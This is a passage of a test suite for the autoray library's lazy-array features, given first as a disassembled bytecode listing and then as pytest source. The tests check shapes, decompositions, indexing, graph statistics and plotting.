LOAD_FAST c LOAD_METHOD get_function LOAD_FAST a LOAD_FAST b BUILD_LIST CALL_METHOD STORE_FAST f LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_FAST f LOAD_FAST x LOAD_FAST y BUILD_LIST CALL_FUNCTION STORE_FAST z LOAD_GLOBAL shape LOAD_FAST z CALL_FUNCTION LOAD_CONST (2, 4) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST pickle LOAD_METHOD dumps LOAD_FAST f CALL_METHOD STORE_FAST s LOAD_FAST pickle LOAD_METHOD loads LOAD_FAST s CALL_METHOD STORE_FAST g LOAD_FAST g LOAD_FAST x LOAD_FAST y BUILD_LIST CALL_FUNCTION STORE_FAST z LOAD_GLOBAL shape LOAD_FAST z CALL_FUNCTION LOAD_CONST (2, 4) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (4,) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (4,) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST ('where',) LOAD_FAST a LOAD_CONST 0 COMPARE_OP > LOAD_FAST b LOAD_CONST 1 BUILD_TUPLE BUILD_TUPLE CALL_FUNCTION STORE_FAST c LOAD_FAST c LOAD_METHOD get_function LOAD_FAST a LOAD_FAST b BUILD_LIST CALL_METHOD STORE_FAST f LOAD_GLOBAL do LOAD_CONST 'asarray' LOAD_CONST -0.5 LOAD_CONST -0.5 LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 'numpy' LOAD_CONST ('like',) CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'asarray' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 'numpy' LOAD_CONST ('like',) CALL_FUNCTION STORE_FAST y LOAD_FAST f LOAD_FAST x LOAD_FAST y CALL_FUNCTION STORE_FAST z LOAD_GLOBAL assert_allclose LOAD_FAST z LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP STORE_FAST inputs LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST inputs LOAD_CONST 'a' BINARY_SUBSCR LOAD_FAST inputs LOAD_CONST 'b' BINARY_SUBSCR BINARY_MATRIX_MULTIPLY CALL_FUNCTION LOAD_FAST inputs LOAD_CONST 'a' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBTRACT LOAD_FAST inputs LOAD_CONST 'b' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBTRACT BUILD_LIST LOAD_CONST ('outa', 'outb') BUILD_CONST_KEY_MAP STORE_FAST outputs LOAD_GLOBAL lazy LOAD_METHOD Function LOAD_FAST inputs LOAD_FAST outputs CALL_METHOD STORE_FAST f LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST b LOAD_FAST f LOAD_FAST a LOAD_FAST b LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_FAST outs LOAD_GLOBAL assert_allclose LOAD_FAST outs LOAD_CONST 'outa' BINARY_SUBSCR LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST a LOAD_FAST b BINARY_MATRIX_MULTIPLY CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST outs LOAD_CONST 'outb' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST a LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST outs LOAD_CONST 'outb' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST b LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'take' LOAD_FAST a LOAD_FAST indices CALL_FUNCTION LOAD_ATTR shape STORE_FAST np_shape LOAD_GLOBAL do LOAD_CONST 'take' LOAD_FAST b LOAD_FAST indices CALL_FUNCTION LOAD_ATTR shape STORE_FAST lazy_shape LOAD_GLOBAL do LOAD_CONST 'take' LOAD_FAST b LOAD_FAST indices CALL_FUNCTION LOAD_METHOD get_function LOAD_FAST b BUILD_LIST CALL_METHOD STORE_FAST fn LOAD_FAST fn LOAD_FAST a BUILD_LIST CALL_FUNCTION LOAD_ATTR shape STORE_FAST lazy_func_shape LOAD_GLOBAL assert_allclose LOAD_FAST np_shape LOAD_FAST lazy_shape CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST np_shape LOAD_FAST lazy_func_shape CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST b LOAD_FAST a LOAD_FAST indices BINARY_SUBSCR LOAD_ATTR shape STORE_FAST np_shape LOAD_FAST b LOAD_FAST indices BINARY_SUBSCR LOAD_ATTR shape STORE_FAST lazy_shape LOAD_FAST b LOAD_FAST indices BINARY_SUBSCR LOAD_METHOD get_function LOAD_FAST b BUILD_LIST CALL_METHOD STORE_FAST fn LOAD_FAST fn LOAD_FAST a BUILD_LIST CALL_FUNCTION LOAD_ATTR shape STORE_FAST lazy_func_shape LOAD_GLOBAL assert_allclose LOAD_FAST np_shape LOAD_FAST lazy_shape CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST np_shape LOAD_FAST lazy_func_shape CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_FAST np LOAD_FAST np LOAD_ATTR random LOAD_ATTR default_rng LOAD_FAST seed LOAD_CONST ('seed',) CALL_FUNCTION STORE_DEREF rng LOAD_DEREF rng LOAD_METHOD integers LOAD_FAST ndim_min LOAD_FAST ndim_max LOAD_CONST 1 BINARY_ADD CALL_METHOD STORE_FAST ndim LOAD_DEREF rng LOAD_METHOD integers LOAD_CONST 1 LOAD_CONST 4 CALL_METHOD STORE_DEREF adv_ix_ndim LOAD_GLOBAL tuple LOAD_DEREF rng LOAD_ATTR integers LOAD_FAST d_min LOAD_FAST d_max LOAD_CONST 1 BINARY_ADD LOAD_DEREF adv_ix_ndim LOAD_CONST ('size',) CALL_FUNCTION CALL_FUNCTION STORE_DEREF adv_ix_shape LOAD_CLOSURE adv_ix_ndim LOAD_CLOSURE adv_ix_shape LOAD_CLOSURE rng BUILD_TUPLE LOAD_CONST <code object rand_adv_ix_broadcastable_shape at 0x7faad431d660, file "f.py", line 585> LOAD_CONST 'random_indexer.<locals>.rand_adv_ix_broadcastable_shape' MAKE_FUNCTION STORE_FAST rand_adv_ix_broadcastable_shape BUILD_LIST STORE_FAST shape BUILD_LIST STORE_FAST indexer LOAD_CONST 'index' LOAD_CONST 'slice' LOAD_CONST 'ellipsis' LOAD_CONST 'array' LOAD_CONST 'list' LOAD_CONST 'newaxis' BUILD_LIST STORE_FAST choices LOAD_CONST 0 STORE_FAST i EXTENDED_ARG SETUP_LOOP to 460 LOAD_FAST i LOAD_FAST ndim COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF rng LOAD_METHOD choice LOAD_FAST choices CALL_METHOD STORE_FAST kind LOAD_FAST kind LOAD_CONST 'newaxis' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST indexer LOAD_METHOD append LOAD_CONST None CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_DEREF rng LOAD_METHOD integers LOAD_FAST d_min LOAD_FAST d_max LOAD_CONST 1 BINARY_ADD CALL_METHOD STORE_FAST d LOAD_FAST shape LOAD_METHOD append LOAD_FAST d CALL_METHOD POP_TOP LOAD_FAST kind LOAD_CONST 'index' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_DEREF rng LOAD_METHOD integers LOAD_FAST d UNARY_NEGATIVE LOAD_FAST d CALL_METHOD STORE_FAST ix LOAD_DEREF rng LOAD_METHOD random CALL_METHOD LOAD_CONST 0.5 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST ix CALL_FUNCTION STORE_FAST ix JUMP_FORWARD to 438 LOAD_FAST kind LOAD_CONST 'ellipsis' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST Ellipsis STORE_FAST ix LOAD_FAST choices LOAD_METHOD remove LOAD_CONST 'ellipsis' CALL_METHOD POP_TOP LOAD_FAST i LOAD_DEREF rng LOAD_METHOD integers LOAD_CONST 0 LOAD_CONST 4 CALL_METHOD INPLACE_ADD STORE_FAST i JUMP_FORWARD to 438 LOAD_FAST kind LOAD_CONST 'slice' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF rng LOAD_METHOD integers LOAD_FAST d UNARY_NEGATIVE LOAD_CONST 2 BINARY_SUBTRACT LOAD_FAST d LOAD_CONST 2 BINARY_ADD CALL_METHOD STORE_FAST start LOAD_DEREF rng LOAD_METHOD integers LOAD_FAST d UNARY_NEGATIVE LOAD_CONST 2 BINARY_SUBTRACT LOAD_FAST d LOAD_CONST 2 BINARY_SUBTRACT CALL_METHOD STORE_FAST stop LOAD_DEREF rng LOAD_METHOD choice LOAD_CONST -3 LOAD_CONST -2 LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST step LOAD_GLOBAL slice LOAD_FAST start LOAD_FAST stop LOAD_FAST step CALL_FUNCTION STORE_FAST ix JUMP_FORWARD to 438 LOAD_FAST kind LOAD_CONST 'array' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rand_adv_ix_broadcastable_shape CALL_FUNCTION STORE_FAST ai_shape LOAD_DEREF rng LOAD_ATTR integers LOAD_FAST d UNARY_NEGATIVE LOAD_FAST d LOAD_FAST ai_shape LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST ix JUMP_FORWARD to 438 LOAD_FAST kind LOAD_CONST 'list' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rand_adv_ix_broadcastable_shape CALL_FUNCTION STORE_FAST ai_shape LOAD_DEREF rng LOAD_ATTR integers LOAD_FAST d UNARY_NEGATIVE LOAD_FAST d LOAD_FAST ai_shape LOAD_CONST ('size',) CALL_FUNCTION LOAD_METHOD tolist CALL_METHOD STORE_FAST ix LOAD_FAST indexer LOAD_METHOD append LOAD_FAST ix CALL_METHOD POP_TOP LOAD_FAST i LOAD_CONST 1 INPLACE_ADD STORE_FAST i JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST indexer CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF rng LOAD_METHOD random CALL_METHOD LOAD_CONST 0.5 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST indexer UNPACK_SEQUENCE STORE_FAST indexer JUMP_FORWARD to 504 LOAD_GLOBAL tuple LOAD_FAST indexer CALL_FUNCTION STORE_FAST indexer LOAD_GLOBAL tuple LOAD_FAST shape CALL_FUNCTION LOAD_FAST indexer BUILD_TUPLE RETURN_VALUE LOAD_DEREF rng LOAD_METHOD integers LOAD_CONST 1 LOAD_DEREF adv_ix_ndim LOAD_CONST 1 BINARY_ADD CALL_METHOD STORE_FAST ndim LOAD_DEREF adv_ix_shape LOAD_FAST ndim UNARY_NEGATIVE LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST matching_shape LOAD_GLOBAL tuple LOAD_CLOSURE rng BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faad431dae0, file "f.py", line 588> LOAD_CONST 'random_indexer.<locals>.rand_adv_ix_broadcastable_shape.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST matching_shape GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 24 STORE_FAST d LOAD_DEREF rng LOAD_METHOD choice LOAD_FAST d LOAD_CONST 1 BUILD_LIST CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL random_indexer CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST shape STORE_FAST indexer LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_FAST a LOAD_FAST indexer BINARY_SUBSCR STORE_FAST ai LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_FAST b LOAD_FAST indexer BINARY_SUBSCR STORE_FAST bi LOAD_FAST bi LOAD_ATTR shape LOAD_FAST ai LOAD_ATTR shape COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST bi LOAD_METHOD compute CALL_METHOD LOAD_FAST ai CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape1 LOAD_CONST ('shape',) CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape2 LOAD_CONST ('shape',) CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape1 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST np_a LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape2 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST np_b LOAD_FAST a LOAD_FAST b BINARY_MATRIX_MULTIPLY LOAD_ATTR shape STORE_FAST lazy_shape LOAD_FAST np_a LOAD_FAST np_b BINARY_MATRIX_MULTIPLY LOAD_ATTR shape STORE_FAST np_shape LOAD_GLOBAL assert_allclose LOAD_FAST lazy_shape LOAD_FAST np_shape CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape1 LOAD_CONST ('shape',) CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_FAST shape2 LOAD_CONST ('shape',) CALL_FUNCTION STORE_FAST b LOAD_CONST <code object f at 0x7faad431d5d0, file "f.py", line 693> LOAD_CONST 'test_matmul_shape_error.<locals>.f' MAKE_FUNCTION STORE_FAST f LOAD_GLOBAL assert_raises LOAD_GLOBAL ValueError LOAD_FAST f LOAD_FAST a LOAD_FAST b CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST x LOAD_FAST y BINARY_MATRIX_MULTIPLY RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (5, 6) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL do LOAD_CONST 'linalg.svd' LOAD_FAST lx CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST lu STORE_FAST ls STORE_FAST lv LOAD_FAST lu LOAD_FAST ls LOAD_FAST lv LOAD_CONST ('u', 's', 'v') BUILD_CONST_KEY_MAP STORE_FAST lresults LOAD_GLOBAL lazy LOAD_METHOD compute LOAD_FAST lresults CALL_METHOD STORE_FAST results LOAD_GLOBAL isinstance LOAD_FAST results LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL infer_backend LOAD_FAST results LOAD_CONST 's' BINARY_SUBSCR CALL_FUNCTION LOAD_GLOBAL infer_backend LOAD_FAST x CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST x LOAD_FAST y CALL_FUNCTION STORE_FAST xy LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST y CALL_METHOD STORE_FAST ly LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST lx LOAD_FAST ly CALL_FUNCTION STORE_FAST lxy LOAD_FAST lxy LOAD_ATTR shape LOAD_FAST xy LOAD_ATTR shape COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST lxy LOAD_METHOD compute CALL_METHOD LOAD_FAST xy CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3,) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST x LOAD_FAST y CALL_FUNCTION STORE_FAST xy LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST y CALL_METHOD STORE_FAST ly LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST lx LOAD_FAST ly CALL_FUNCTION STORE_FAST lxy LOAD_FAST lxy LOAD_ATTR shape LOAD_FAST xy LOAD_ATTR shape COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST lxy LOAD_METHOD compute CALL_METHOD LOAD_FAST xy CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3,) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST x LOAD_FAST y CALL_FUNCTION STORE_FAST xy LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST y CALL_METHOD STORE_FAST ly LOAD_GLOBAL do LOAD_CONST 'kron' LOAD_FAST lx LOAD_FAST ly CALL_FUNCTION STORE_FAST lxy LOAD_FAST lxy LOAD_ATTR shape LOAD_FAST xy LOAD_ATTR shape COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST lxy LOAD_METHOD compute CALL_METHOD LOAD_FAST xy CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 1, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 7, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST z LOAD_GLOBAL do LOAD_CONST 'concatenate' LOAD_FAST x LOAD_FAST y LOAD_FAST z BUILD_TUPLE LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST xyz LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST y CALL_METHOD STORE_FAST ly LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST z CALL_METHOD STORE_FAST lz LOAD_GLOBAL do LOAD_CONST 'concatenate' LOAD_FAST lx LOAD_FAST ly LOAD_FAST lz BUILD_TUPLE LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST lxyz LOAD_FAST lxyz LOAD_ATTR shape LOAD_FAST xyz LOAD_ATTR shape COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST lxyz LOAD_METHOD compute CALL_METHOD LOAD_FAST xyz CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
import functools import re import pytest from autoray import do, lazy, to_numpy, infer_backend, astype, shape from numpy.testing import assert_allclose, assert_raises from .test_autoray import BACKENDS, gen_rand def test_manual_construct(): def foo(a, b, c): a1, a2 = a b1 = b["1"] c1, c2 = c["sub"] return do("sum", do("stack", (a1, a2, b1, c1, c2)), axis=0) x = do("random.uniform", size=(5, 7), like="numpy") x0 = lazy.array(x[0, :]) x1 = lazy.array(x[1, :]) x2 = lazy.array(x[2, :]) x3 = lazy.array(x[3, :]) x4 = lazy.array(x[4, :]) y = lazy.LazyArray( backend=infer_backend(x), fn=foo, args=((x0, x1), {"1": x2}), kwargs=dict(c={"sub": (x3, x4)}), shape=(7,), ) assert y.deps == (x0, x1, x2, x3, x4) assert re.match( r"x\d+ = foo\d+\(\(x\d+, x\d+,\), " r"{1: x\d+}, c: {sub: \(x\d+, x\d+,\)}\)", y.get_source(), ) assert_allclose(y.compute(), x.sum(0)) def modified_gram_schmidt(X): Q = [] for j in range(0, shape(X)[0]): q = X[j, :] for i in range(0, j): rij = do("tensordot", do("conj", Q[i]), q, axes=1) q = q - rij * Q[i] rjj = do("linalg.norm", q, 2) Q.append(q / rjj) return do("stack", tuple(Q), axis=0) def wrap_strict_check(larray): fn_orig = larray._fn @functools.wraps(fn_orig) def checked(*args, **kwargs): data = fn_orig(*args, **kwargs) assert shape(data) == shape(larray) assert infer_backend(data) == larray.backend return data return checked def make_strict(larray): for node in larray.descend(): larray._fn = wrap_strict_check(larray) @pytest.mark.parametrize("backend", BACKENDS) def test_lazy_mgs(backend): if backend == "sparse": pytest.xfail("Sparse doesn't support 'linalg.norm' yet...") x = gen_rand((5, 5), backend) lx = lazy.array(x) ly = modified_gram_schmidt(lx) ly.show() make_strict(ly) assert str(ly) == (f"<LazyArray(fn=stack, shape=(5, 5), " f"backend='{backend}')>") assert isinstance(ly, lazy.LazyArray) hmax = ly.history_max_size() hpeak = ly.history_peak_size() htot = ly.history_total_size() assert hmax == 25 assert 25 < hpeak < htot assert ly.history_num_nodes() == 57 assert len(ly.history_fn_frequencies()) == 9 assert_allclose(to_numpy(ly.compute()), to_numpy(modified_gram_schmidt(x))) with lazy.shared_intermediates(): ly = modified_gram_schmidt(lx) make_strict(ly) assert ly.history_num_nodes() == 51 assert len(ly.history_fn_frequencies()) == 9 assert_allclose(to_numpy(ly.compute()), to_numpy(modified_gram_schmidt(x))) def test_partial_evaluation(): la = lazy.array(gen_rand((10, 10), "numpy")) lb = lazy.array(gen_rand((10, 10), "numpy")) lc = lazy.array(gen_rand((10, 10), "numpy")) ld = lazy.array(gen_rand((10, 10), "numpy")) lab = do("tanh", la @ lb) lcd = lc @ ld ls = lab + lcd ld = do("abs", lab / lcd) le = do("einsum", "ab,ba->a", ls, ld) lf = do("sum", le) make_strict(lf) assert lf.history_num_nodes() == 12 lf.compute_constants(variables=[lc, ld]) # constants = [la, lb] assert lf.history_num_nodes() == 9 assert "tanh" not in {node.fn_name for node in lf.descend()} lf.compute() def test_history_fn_frequencies(): la = lazy.array(gen_rand((10, 10), "numpy")) lb = lazy.array(gen_rand((10, 10), "numpy")) lc = lazy.array(gen_rand((10, 10), "numpy")) ld = lazy.array(gen_rand((10, 10), "numpy")) lab = do("tanh", la @ lb) lcd = lc @ ld ls = lab + lcd ld = do("abs", lab / lcd) le = do("einsum", "ab,ba->a", ls, ld) lf = do("sum", le) assert lf.history_fn_frequencies() == { "None": 4, # the inputs "tanh": 1, "matmul": 2, "add": 1, "absolute": 1, "truediv": 1, "einsum": 1, "sum": 1, } def test_plot(): pytest.importorskip("networkx") matplotlib = pytest.importorskip("matplotlib") matplotlib.use("Template") la = lazy.array(gen_rand((10, 10), "numpy")) lb = lazy.array(gen_rand((10, 10), "numpy")) lc = lazy.array(gen_rand((10, 10), "numpy")) ld = lazy.array(gen_rand((10, 10), "numpy")) lab = do("tanh", la @ lb) lcd = lc @ ld ls = lab + lcd ld = do("abs", lab / lcd) le = do("einsum", "ab,ba->a", ls, ld) lf = do("sum", le) lf.plot_graph() lf.plot_graph(initial_layout="layers") lf.plot_graph(variables=[lc, ld], color_by="variables") lf.plot_circuit() lf.plot_circuit(color_by="id") lf.plot_history_size_footprint() lf.plot_history_functions_scatter() lf.plot_history_functions_lines(log=2) lf.plot_history_functions_image(rasterize=True) lf.plot_history_stats() def test_share_intermediates(): la = lazy.array(gen_rand((10, 10), "numpy")) lb = lazy.array(gen_rand((10, 10), "numpy")) l1 = do("tanh", la @ lb) l2 = do("tanh", la @ lb) ly = l1 + l2 assert ly.history_num_nodes() == 7 y1 = ly.compute() with lazy.shared_intermediates(): l1 = do("tanh", la @ lb) l2 = do("tanh", la @ lb) ly = l1 + l2 assert ly.history_num_nodes() == 5 y2 = ly.compute() assert_allclose(y1, y2) @pytest.mark.parametrize("backend", BACKENDS) def test_transpose_chain(backend): lx = lazy.array(gen_rand((2, 3, 4, 5, 6), backend)) l1 = do("transpose", lx, (1, 0, 3, 2, 4)) l2 = do("transpose", l1, (1, 0, 3, 2, 4)) assert l2.args[0] is lx assert l2.deps == (lx,) assert l1.history_num_nodes() == 2 assert l2.history_num_nodes() == 2 assert_allclose( to_numpy(lx.compute()), to_numpy(l2.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) def test_reshape_chain(backend): lx = lazy.array(gen_rand((2, 3, 4, 5, 6), backend)) l1 = do("reshape", lx, (6, 4, 30)) l2 = do("reshape", l1, (-1,)) assert l1.history_num_nodes() == 2 assert l2.history_num_nodes() == 2 assert l2.args[0] is lx assert l2.deps == (lx,) assert_allclose( to_numpy(lx.compute()).flatten(), to_numpy(l2.compute()), atol=1e-6, ) @pytest.mark.parametrize("backend", BACKENDS) @pytest.mark.parametrize("dtype", ["float64", "complex128"]) def test_svd(backend, dtype): if backend == "sparse": pytest.xfail("Sparse doesn't support 'linalg.svd' yet...") x = lazy.array(gen_rand((4, 5), backend, dtype)) U, s, VH = do("linalg.svd", x) assert shape(U) == (4, 4) assert shape(s) == (4,) assert shape(VH) == (4, 5) s = astype(s, dtype) ly = U @ (do("reshape", s, (-1, 1)) * VH) make_strict(ly) assert_allclose( to_numpy(x.compute()), to_numpy(ly.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) def test_qr(backend): if backend == "sparse": pytest.xfail("Sparse doesn't support 'linalg.qr' yet...") x = lazy.array(gen_rand((4, 5), backend)) Q, R = do("linalg.qr", x) assert shape(Q) == (4, 4) assert shape(R) == (4, 5) ly = Q @ R make_strict(ly) assert_allclose( to_numpy(x.compute()), 